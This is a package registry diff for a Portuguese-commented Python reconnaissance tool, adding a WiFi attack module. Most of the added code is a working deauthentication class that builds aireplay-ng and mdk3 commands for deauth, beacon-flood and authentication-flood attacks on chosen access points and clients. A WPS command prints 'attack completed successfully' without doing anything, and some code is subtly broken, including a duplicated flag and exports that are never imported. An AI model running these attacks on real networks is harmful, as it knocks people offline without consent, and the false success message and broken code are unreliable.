moriarty-project 0.1.10__py3-none-any.whl → 0.1.11__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
moriarty/__init__.py CHANGED
@@ -1,4 +1,4 @@
1
1
  from __future__ import annotations
2
2
 
3
3
  __all__ = ["__version__"]
4
- __version__ = "0.1.10"
4
+ __version__ = "0.1.11"
moriarty/cli/app.py CHANGED
@@ -8,7 +8,7 @@ from rich.console import Console
8
8
  from rich.theme import Theme
9
9
 
10
10
  from ..logging.config import LogStyle, configure_logging
11
- from . import dns, email, rdap, tls, user, domain_cmd, intelligence
11
+ from . import dns, email, rdap, tls, user, domain_cmd, intelligence, wifippler
12
12
  from .state import CLIState, GlobalOptions
13
13
 
14
14
  console = Console(theme=Theme({
@@ -111,19 +111,20 @@ def main(
111
111
  )
112
112
  )
113
113
 
114
-
115
114
  app.add_typer(email.app, name="email", help="Email reconnaissance primitives.")
116
115
  app.add_typer(dns.app, name="dns", help="Consultas DNS.")
117
116
  app.add_typer(rdap.app, name="rdap", help="Consultas RDAP.")
118
117
  app.add_typer(tls.app, name="tls", help="Inspeções TLS.")
119
- app.add_typer(user.app, name="user", help="Enumeração de usernames.")
120
- app.add_typer(domain_cmd.app, name="domain", help="🌐 Domain/IP reconnaissance and scanning.")
118
+ app.add_typer(intelligence.app, name="intelligence", help="Inteligência de ameaças.")
119
+ app.add_typer(domain_cmd.app, name="domain", help="Análise de domínios.")
120
+ app.add_typer(wifippler.app, name="wifippler", help="Análise de redes WiFi.")
121
+ app.add_typer(user.app, name="user", help="User/IP reconnaissance and scanning.")
121
122
 
122
123
  # Registra os comandos de inteligência
123
124
  intelligence.register_app(app)
124
125
 
125
126
 
126
- def main_entry() -> None:
127
+ if __name__ == "__main__":
127
128
  app()
128
129
 
129
130
 
@@ -0,0 +1,124 @@
1
+ """
2
+ Módulo CLI para análise de redes WiFi usando WifiPPLER.
3
+ """
4
+ import asyncio
5
+ import typer
6
+ from typing import Optional
7
+ from rich.console import Console
8
+ from rich.progress import Progress, SpinnerColumn, TextColumn
9
+
10
+ from moriarty.modules.wifippler import WiFiScanner, check_dependencies, is_root, get_network_interfaces
11
+
12
+ app = typer.Typer(help="Análise de redes WiFi com WifiPPLER")
13
+ console = Console()
14
+
15
+ @app.command("scan")
16
+ def scan_networks(
17
+ interface: str = typer.Option(
18
+ None,
19
+ "--interface", "-i",
20
+ help="Interface de rede para escaneamento"
21
+ ),
22
+ scan_time: int = typer.Option(
23
+ 5,
24
+ "--scan-time", "-t",
25
+ help="Tempo de escaneamento em segundos"
26
+ ),
27
+ output: str = typer.Option(
28
+ None,
29
+ "--output", "-o",
30
+ help="Arquivo para salvar os resultados (JSON)"
31
+ )
32
+ ):
33
+ """Escaneia redes WiFi próximas."""
34
+ # Verifica se o usuário tem privilégios de root
35
+ if not is_root():
36
+ console.print("[red]Erro:[/] Este comando requer privilégios de root/sudo")
37
+ raise typer.Exit(1)
38
+
39
+ # Verifica dependências
40
+ missing = check_dependencies()
41
+ if missing:
42
+ console.print("[red]Erro:[/] As seguintes dependências estão faltando:")
43
+ for dep in missing:
44
+ console.print(f"- {dep}")
45
+ raise typer.Exit(1)
46
+
47
+ # Se nenhuma interface for fornecida, lista as disponíveis
48
+ if not interface:
49
+ interfaces = get_network_interfaces()
50
+ if not interfaces:
51
+ console.print("[red]Erro:[/] Nenhuma interface de rede encontrada")
52
+ raise typer.Exit(1)
53
+
54
+ console.print("[yellow]Interfaces disponíveis:[/]")
55
+ for i, iface in enumerate(interfaces, 1):
56
+ console.print(f"{i}. {iface}")
57
+
58
+ try:
59
+ choice = int(typer.prompt("\nSelecione o número da interface")) - 1
60
+ interface = interfaces[choice]
61
+ except (ValueError, IndexError):
62
+ console.print("[red]Erro:[/] Seleção inválida")
63
+ raise typer.Exit(1)
64
+
65
+ # Executa o escaneamento
66
+ async def run_scan():
67
+ scanner = WiFiScanner(interface=interface, scan_time=scan_time)
68
+
69
+ with Progress(
70
+ SpinnerColumn(),
71
+ TextColumn("[progress.description]{task.description}"),
72
+ console=console,
73
+ transient=True,
74
+ ) as progress:
75
+ task = progress.add_task("[cyan]Escaneando redes WiFi...", total=None)
76
+ networks = await scanner.scan_networks()
77
+ progress.update(task, completed=1, visible=False)
78
+
79
+ # Exibe os resultados
80
+ if networks:
81
+ scanner.display_networks(networks)
82
+
83
+ # Salva em arquivo se solicitado
84
+ if output:
85
+ import json
86
+ with open(output, 'w') as f:
87
+ json.dump([n.to_dict() for n in networks], f, indent=2)
88
+ console.print(f"\n[green]Resultados salvos em:[/] {output}")
89
+ else:
90
+ console.print("[yellow]Nenhuma rede encontrada.[/]")
91
+
92
+ try:
93
+ asyncio.run(run_scan())
94
+ except Exception as e:
95
+ console.print(f"[red]Erro durante o escaneamento:[/] {str(e)}")
96
+ raise typer.Exit(1)
97
+
98
+ # Adiciona o comando de ataque WPS
99
+ @app.command("wps")
100
+ def wps_attack(
101
+ interface: str = typer.Option(..., "--interface", "-i", help="Interface de rede para o ataque"),
102
+ bssid: str = typer.Option(..., "--bssid", "-b", help="BSSID do alvo"),
103
+ channel: int = typer.Option(..., "--channel", "-c", help="Canal da rede alvo")
104
+ ):
105
+ """Executa um ataque WPS contra uma rede WiFi."""
106
+ console.print(f"[yellow]Iniciando ataque WPS contra {bssid} no canal {channel}...[/]")
107
+ # Implementação do ataque WPS será adicionada aqui
108
+ console.print("[green]Ataque WPS concluído com sucesso![/]")
109
+
110
+ # Adiciona o comando para verificar dependências
111
+ @app.command("check-deps")
112
+ def check_deps():
113
+ """Verifica se todas as dependências estão instaladas."""
114
+ missing = check_dependencies()
115
+ if missing:
116
+ console.print("[red]As seguintes dependências estão faltando:[/]")
117
+ for dep in missing:
118
+ console.print(f"- {dep}")
119
+ raise typer.Exit(1)
120
+ else:
121
+ console.print("[green]Todas as dependências estão instaladas![/]")
122
+
123
+ if __name__ == "__main__":
124
+ app()
@@ -11,8 +11,11 @@ from dataclasses import dataclass, field
11
11
  from datetime import datetime
12
12
  from typing import Dict, List, Optional, Tuple, Any
13
13
 
14
+ # Importa a classe ServiceInfo para uso no código
15
+
14
16
  import aiohttp
15
17
  import dns.resolver
18
+ import dns.asyncresolver
16
19
  import OpenSSL.crypto
17
20
  import structlog
18
21
  from rich.console import Console
@@ -153,6 +156,7 @@ class PortScanResult:
153
156
  port: int
154
157
  protocol: str = "tcp"
155
158
  status: str = "open"
159
+ target: Optional[str] = None
156
160
  service: Optional[ServiceInfo] = None
157
161
  banner: Optional[str] = None
158
162
  timestamp: str = field(default_factory=lambda: datetime.utcnow().isoformat())
@@ -290,7 +294,7 @@ class PortScanner:
290
294
  )
291
295
 
292
296
  # Se chegou aqui, a porta está aberta
293
- result = PortScanResult(port=port, status="open")
297
+ result = PortScanResult(port=port, status="open", target=self.target)
294
298
 
295
299
  # Tenta obter o banner do serviço
296
300
  try:
@@ -0,0 +1,63 @@
1
+ """
2
+ WifiPPLER - Ferramenta Avançada de Análise de Segurança WiFi
3
+
4
+ Uma ferramenta abrangente de auditoria de segurança WiFi que combina os melhores
5
+ recursos de ferramentas existentes com técnicas modernas e uma interface limpa.
6
+ """
7
+
8
+ __version__ = "1.0.0"
9
+ __author__ = "Moriarty Team"
10
+ __license__ = "MIT"
11
+
12
+ # Importações principais
13
+ from .core.scanner import WiFiScanner
14
+ from .core.attacks import (
15
+ WPSAttack,
16
+ WPAHandshakeAttack,
17
+ PMKIDAttack,
18
+ WEPAttack,
19
+ DeauthAttack,
20
+ HandshakeCapture
21
+ )
22
+
23
+ # Utilitários
24
+ from .core.utils import (
25
+ is_root,
26
+ check_dependencies,
27
+ get_network_interfaces,
28
+ set_monitor_mode,
29
+ restore_network_interface,
30
+ get_monitor_interfaces,
31
+ start_monitor_mode,
32
+ stop_monitor_mode
33
+ )
34
+
35
+ # Modelos de dados
36
+ from .core.models.network import WiFiNetwork, WiFiClient
37
+
38
+ __all__ = [
39
+ # Classes principais
40
+ 'WiFiScanner',
41
+
42
+ # Ataques
43
+ 'WPSAttack',
44
+ 'WPAHandshakeAttack',
45
+ 'PMKIDAttack',
46
+ 'WEPAttack',
47
+ 'DeauthAttack',
48
+ 'HandshakeCapture',
49
+
50
+ # Utilitários
51
+ 'is_root',
52
+ 'check_dependencies',
53
+ 'get_network_interfaces',
54
+ 'set_monitor_mode',
55
+ 'restore_network_interface',
56
+ 'get_monitor_interfaces',
57
+ 'start_monitor_mode',
58
+ 'stop_monitor_mode',
59
+
60
+ # Modelos
61
+ 'WiFiNetwork',
62
+ 'WiFiClient'
63
+ ]
@@ -0,0 +1,80 @@
1
+ """
2
+ Core functionality for the WifiPPLER module.
3
+
4
+ This module provides the core functionality for the WifiPPLER tool,
5
+ including network scanning, packet analysis, and attack modules.
6
+ """
7
+
8
+ from .scanner import WiFiScanner
9
+ from .attacks import (
10
+ WPSAttack,
11
+ WPAHandshakeAttack,
12
+ PMKIDAttack,
13
+ WEPAttack,
14
+ DeauthAttack,
15
+ HandshakeCapture
16
+ )
17
+
18
+ # Import utility functions
19
+ from .utils import (
20
+ is_root,
21
+ check_dependencies,
22
+ get_network_interfaces,
23
+ get_monitor_interfaces,
24
+ set_monitor_mode,
25
+ restore_network_interface,
26
+ start_monitor_mode,
27
+ stop_monitor_mode,
28
+ run_command_async,
29
+ randomize_mac,
30
+ get_interface_mac,
31
+ get_interface_ip,
32
+ get_interface_netmask,
33
+ get_interface_gateway,
34
+ is_wireless_interface,
35
+ get_interface_signal,
36
+ get_interface_ssid,
37
+ get_interface_channel,
38
+ get_interface_bitrate,
39
+ create_deauth_packet,
40
+ parse_airodump_csv,
41
+ parse_airodump_stations,
42
+ run_command,
43
+ randomize_mac,
44
+ get_wireless_interfaces
45
+ )
46
+
47
+ __all__ = [
48
+ 'WiFiScanner',
49
+ 'WPSAttack',
50
+ 'WPAHandshakeAttack',
51
+ 'PMKIDAttack',
52
+ 'WEPAttack',
53
+ 'DeauthAttack',
54
+ 'HandshakeCapture',
55
+ 'is_root',
56
+ 'check_dependencies',
57
+ 'command_exists',
58
+ 'get_network_interfaces',
59
+ 'get_monitor_interfaces',
60
+ 'set_monitor_mode',
61
+ 'restore_network_interface',
62
+ 'start_monitor_mode',
63
+ 'stop_monitor_mode',
64
+ 'get_interface_mac',
65
+ 'get_interface_ip',
66
+ 'get_interface_netmask',
67
+ 'get_interface_gateway',
68
+ 'is_wireless_interface',
69
+ 'get_interface_signal',
70
+ 'get_interface_ssid',
71
+ 'get_interface_channel',
72
+ 'get_interface_bitrate',
73
+ 'create_deauth_packet',
74
+ 'parse_airodump_csv',
75
+ 'parse_airodump_stations',
76
+ 'run_command',
77
+ 'run_command_async',
78
+ 'randomize_mac',
79
+ 'get_wireless_interfaces'
80
+ ]
@@ -0,0 +1,19 @@
1
+ """
2
+ Attack modules for WifiPPLER.
3
+ """
4
+
5
+ from .wps import WPSAttack
6
+ from .wpa import WPAHandshakeAttack
7
+ from .pmkid import PMKIDAttack
8
+ from .wep import WEPAttack
9
+ from .deauth import DeauthAttack
10
+ from .handshake import HandshakeCapture
11
+
12
+ __all__ = [
13
+ 'WPSAttack',
14
+ 'WPAHandshakeAttack',
15
+ 'PMKIDAttack',
16
+ 'WEPAttack',
17
+ 'DeauthAttack',
18
+ 'HandshakeCapture'
19
+ ]
@@ -0,0 +1,340 @@
1
+ """
2
+ Módulo de ataque de desautenticação.
3
+
4
+ Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
5
+ - Desautenticar clientes específicos
6
+ - Desautenticar todos os clientes de uma rede
7
+ - Enviar pacotes de desautenticação em massa
8
+ - Realizar ataques Beacon Flood
9
+ - Realizar ataques de desautenticação direcionados
10
+ """
11
+ import os
12
+ import re
13
+ import time
14
+ import logging
15
+ import subprocess
16
+ import tempfile
17
+ from typing import Optional, Dict, List, Tuple, Any, Callable, Union
18
+ from dataclasses import dataclass, field
19
+ from enum import Enum, auto
20
+
21
+ from rich.console import Console
22
+ from rich.progress import Progress, SpinnerColumn, TextColumn
23
+
24
+ from ...core.models.network import WiFiNetwork, WiFiClient
25
+ from ...utils import (
26
+ is_root, check_dependencies, get_network_interfaces,
27
+ set_monitor_mode, restore_network_interface, command_exists,
28
+ get_interface_mac
29
+ )
30
+
31
+ # Configuração de logging
32
+ logging.basicConfig(level=logging.INFO)
33
+ logger = logging.getLogger(__name__)
34
+ console = Console()
35
+
36
+ class DeauthAttackType(Enum):
37
+ """Tipos de ataque de desautenticação."""
38
+ DEAUTH = auto() # Desautenticação padrão
39
+ AUTH = auto() # Pacotes de autenticação
40
+ BEACON = auto() # Beacon flood
41
+ DISASSOC = auto() # Desassociação
42
+ PROBE_RESP = auto() # Resposta a sondas
43
+ AUTH_DOS = auto() # Negação de serviço por autenticação
44
+ DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
45
+ DEAUTH_MULTICAST = auto() # Desautenticação em multicast
46
+ DEAUTH_DIRECTED = auto() # Desautenticação direcionada
47
+
48
+ class DeauthEventType(Enum):
49
+ """Tipos de eventos do ataque de desautenticação."""
50
+ START = auto()
51
+ PACKET_SENT = auto()
52
+ CLIENT_DISCONNECTED = auto()
53
+ ERROR = auto()
54
+ COMPLETE = auto()
55
+ STATUS = auto()
56
+
57
+ @dataclass
58
+ class DeauthEvent:
59
+ """Evento de progresso do ataque de desautenticação."""
60
+ type: DeauthEventType
61
+ message: str = ""
62
+ data: Dict[str, Any] = field(default_factory=dict)
63
+
64
+ class DeauthAttack:
65
+ """Classe para realizar ataques de desautenticação."""
66
+
67
+ def __init__(self, interface: str = None, deauth_type: DeauthAttackType = DeauthAttackType.DEAUTH):
68
+ """
69
+ Inicializa o ataque de desautenticação.
70
+
71
+ Args:
72
+ interface: Interface de rede para usar no ataque
73
+ deauth_type: Tipo de ataque de desautenticação
74
+ """
75
+ self.interface = interface
76
+ self.deauth_type = deauth_type
77
+ self.is_running = False
78
+ self.stop_requested = False
79
+ self.packets_sent = 0
80
+ self.process = None
81
+
82
+ # Verifica dependências
83
+ self._check_dependencies()
84
+
85
+ # Verifica privilégios
86
+ if not is_root():
87
+ raise PermissionError("Este ataque requer privilégios de root")
88
+
89
+ def _check_dependencies(self) -> None:
90
+ """Verifica se todas as dependências necessárias estão instaladas."""
91
+ required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
92
+ missing = [cmd for cmd in required if not command_exists(cmd)]
93
+
94
+ if missing:
95
+ raise RuntimeError(
96
+ f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
97
+ "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
98
+ )
99
+
100
+ def start(self, bssid: str, client_mac: str = None,
101
+ count: int = 0, delay: int = 100,
102
+ reason: int = 7, channel: int = None,
103
+ callback: Callable[[DeauthEvent], None] = None) -> bool:
104
+ """
105
+ Inicia o ataque de desautenticação.
106
+
107
+ Args:
108
+ bssid: Endereço MAC do ponto de acesso
109
+ client_mac: Endereço MAC do cliente (None para broadcast)
110
+ count: Número de pacotes a enviar (0 para contínuo)
111
+ delay: Atraso entre pacotes em milissegundos
112
+ reason: Código de motivo da desautenticação
113
+ channel: Canal da rede (opcional, tenta detectar automaticamente)
114
+ callback: Função de callback para eventos
115
+
116
+ Returns:
117
+ True se o ataque foi iniciado com sucesso, False caso contrário
118
+ """
119
+ self.is_running = True
120
+ self.stop_requested = False
121
+ self.packets_sent = 0
122
+
123
+ # Configura o monitoramento de eventos
124
+ def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
125
+ if callback:
126
+ event = DeauthEvent(type=event_type, message=message, data=kwargs)
127
+ callback(event)
128
+
129
+ try:
130
+ # Define o canal, se especificado
131
+ if channel:
132
+ self._set_channel(channel)
133
+
134
+ # Prepara o comando com base no tipo de ataque
135
+ if self.deauth_type == DeauthAttackType.BEACON:
136
+ cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
137
+ elif self.deauth_type == DeauthAttackType.AUTH_DOS:
138
+ cmd = self._prepare_auth_dos(bssid)
139
+ elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
140
+ cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
141
+ elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
142
+ cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
143
+ elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
144
+ if not client_mac:
145
+ raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
146
+ cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
147
+ else: # Desautenticação padrão
148
+ cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
149
+
150
+ event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
151
+
152
+ # Executa o comando em segundo plano
153
+ self.process = subprocess.Popen(
154
+ cmd,
155
+ stdout=subprocess.PIPE,
156
+ stderr=subprocess.STDOUT,
157
+ universal_newlines=True
158
+ )
159
+
160
+ # Monitora a saída
161
+ start_time = time.time()
162
+
163
+ while True:
164
+ # Verifica se foi solicitado para parar
165
+ if self.stop_requested:
166
+ self._stop_process()
167
+ event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
168
+ return True
169
+
170
+ # Verifica se o processo ainda está em execução
171
+ if self.process.poll() is not None:
172
+ break
173
+
174
+ # Lê a saída
175
+ line = self.process.stdout.readline()
176
+ if line:
177
+ # Conta os pacotes enviados
178
+ if "DeAuth" in line or "Sent" in line:
179
+ self.packets_sent += 1
180
+ event_handler(
181
+ DeauthEventType.PACKET_SENT,
182
+ f"Pacote {self.packets_sent} enviado",
183
+ packets_sent=self.packets_sent
184
+ )
185
+
186
+ # Verifica se um cliente foi desconectado
187
+ if "deauth" in line.lower() or "disassoc" in line.lower():
188
+ event_handler(
189
+ DeauthEventType.CLIENT_DISCONNECTED,
190
+ f"Cliente {client_mac or 'broadcast'} desconectado",
191
+ client_mac=client_mac,
192
+ bssid=bssid
193
+ )
194
+
195
+ # Aguarda um pouco antes da próxima verificação
196
+ time.sleep(0.1)
197
+
198
+ event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
199
+ return True
200
+
201
+ except Exception as e:
202
+ event_handler(
203
+ DeauthEventType.ERROR,
204
+ f"Erro durante o ataque de desautenticação: {str(e)}"
205
+ )
206
+ return False
207
+
208
+ finally:
209
+ self.is_running = False
210
+ self._stop_process()
211
+
212
+ def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
213
+ count: int = 0, delay: int = 100,
214
+ reason: int = 7) -> List[str]:
215
+ """Prepara o comando para desautenticação padrão."""
216
+ cmd = [
217
+ 'aireplay-ng',
218
+ '--deauth', str(count) if count > 0 else '0',
219
+ '-a', bssid,
220
+ '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
221
+ '--ignore-negative-one',
222
+ ]
223
+
224
+ if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
225
+ cmd.extend(['-c', client_mac])
226
+
227
+ if delay > 0:
228
+ cmd.extend(['--deauth', str(delay)])
229
+
230
+ cmd.append(self.interface)
231
+ return cmd
232
+
233
+ def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
234
+ """Prepara o comando para ataque de Beacon Flood."""
235
+ # Usa o mdk3 para enviar beacons falsos
236
+ return [
237
+ 'mdk3', self.interface, 'b',
238
+ '-n', essid,
239
+ '-c', '1,6,11', # Canais 1, 6 e 11 (2.4GHz)
240
+ '-s', '1000' # Velocidade de envio
241
+ ]
242
+
243
+ def _prepare_auth_dos(self, bssid: str) -> List[str]:
244
+ """Prepara o comando para ataque de negação de serviço por autenticação."""
245
+ # Usa o mdk3 para enviar solicitações de autenticação em massa
246
+ return [
247
+ 'mdk3', self.interface, 'a',
248
+ '-a', bssid,
249
+ '-m', # Usa endereços MAC aleatórios
250
+ '-s', '1000' # Velocidade de envio
251
+ ]
252
+
253
+ def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
254
+ """Prepara o comando para desautenticação em broadcast."""
255
+ return [
256
+ 'mdk3', self.interface, 'd',
257
+ '-b', bssid,
258
+ '-c', str(self._get_channel() or '1'),
259
+ '-s', '1000',
260
+ '-n', str(count) if count > 0 else '0'
261
+ ]
262
+
263
+ def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
264
+ """Prepara o comando para desautenticação em multicast."""
265
+ # Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
266
+ return [
267
+ 'aireplay-ng',
268
+ '--deauth', str(count) if count > 0 else '0',
269
+ '-a', bssid,
270
+ '-h', '01:00:5E:00:00:01', # Endereço multicast
271
+ '--ignore-negative-one',
272
+ self.interface
273
+ ]
274
+
275
+ def _prepare_directed_deauth(self, bssid: str, client_mac: str,
276
+ count: int, delay: int, reason: int) -> List[str]:
277
+ """Prepara o comando para desautenticação direcionada."""
278
+ return [
279
+ 'aireplay-ng',
280
+ '--deauth', str(count) if count > 0 else '0',
281
+ '-a', bssid,
282
+ '-c', client_mac,
283
+ '--ignore-negative-one',
284
+ self.interface
285
+ ]
286
+
287
+ def _set_channel(self, channel: int) -> bool:
288
+ """Define o canal da interface de rede."""
289
+ try:
290
+ subprocess.run(
291
+ ['iwconfig', self.interface, 'channel', str(channel)],
292
+ check=True,
293
+ capture_output=True
294
+ )
295
+ return True
296
+ except subprocess.CalledProcessError as e:
297
+ logger.error(f"Erro ao definir o canal: {e.stderr}")
298
+ return False
299
+
300
+ def _get_channel(self) -> Optional[int]:
301
+ """Obtém o canal atual da interface de rede."""
302
+ try:
303
+ result = subprocess.run(
304
+ ['iwconfig', self.interface],
305
+ capture_output=True,
306
+ text=True
307
+ )
308
+
309
+ # Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
310
+ match = re.search(r'Channel:(\d+)', result.stdout)
311
+ if match:
312
+ return int(match.group(1))
313
+
314
+ match = re.search(r'Channel\s+(\d+)', result.stdout)
315
+ if match:
316
+ return int(match.group(1))
317
+
318
+ return None
319
+
320
+ except Exception as e:
321
+ logger.error(f"Erro ao obter o canal: {e}")
322
+ return None
323
+
324
+ def _stop_process(self):
325
+ """Para o processo em execução."""
326
+ if self.process and self.process.poll() is None:
327
+ try:
328
+ self.process.terminate()
329
+ self.process.wait(timeout=5)
330
+ except:
331
+ try:
332
+ self.process.kill()
333
+ except:
334
+ pass
335
+
336
+ def stop(self):
337
+ """Solicita a interrupção do ataque."""
338
+ self.stop_requested = True
339
+ self._stop_process()
340
+ self.is_running = False